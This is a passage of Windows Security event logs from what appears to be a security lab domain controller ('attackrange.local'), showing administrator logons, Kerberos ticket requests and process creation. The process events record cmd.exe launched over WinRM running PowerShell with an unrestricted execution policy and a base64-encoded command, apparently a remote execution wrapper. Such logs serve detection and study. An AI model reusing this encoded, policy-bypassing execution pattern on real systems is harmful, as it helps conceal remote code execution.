JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257566
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x5289ED

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/12/2021 02:33:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257565
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x5289ED
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{2F23D543-7F08-17EB-FFBA-BA61AD0AD08E}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:33:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257564
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{2F23D543-7F08-17EB-FFBA-BA61AD0AD08E}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/12/2021 02:33:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=257563
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{2F23D543-7F08-17EB-FFBA-BA61AD0AD08E}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/12/2021 02:33:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=257562
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/12/2021 02:33:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257561
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x523E6F

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x778
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xc14
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257560
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x523E6F

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc14
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xa10
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257559
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x528531

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/12/2021 02:33:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257558
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x528531
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{2F23D543-7F08-17EB-FFBA-BA61AD0AD08E}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:33:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257557
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{2F23D543-7F08-17EB-FFBA-BA61AD0AD08E}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/12/2021 02:33:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=257556
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{2F23D543-7F08-17EB-FFBA-BA61AD0AD08E}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/12/2021 02:33:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=257555
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/12/2021 02:33:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257554
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x52850F

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:33:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257553
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x52850F

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/12/2021 02:33:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257552
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x52850F
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{2F23D543-7F08-17EB-FFBA-BA61AD0AD08E}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
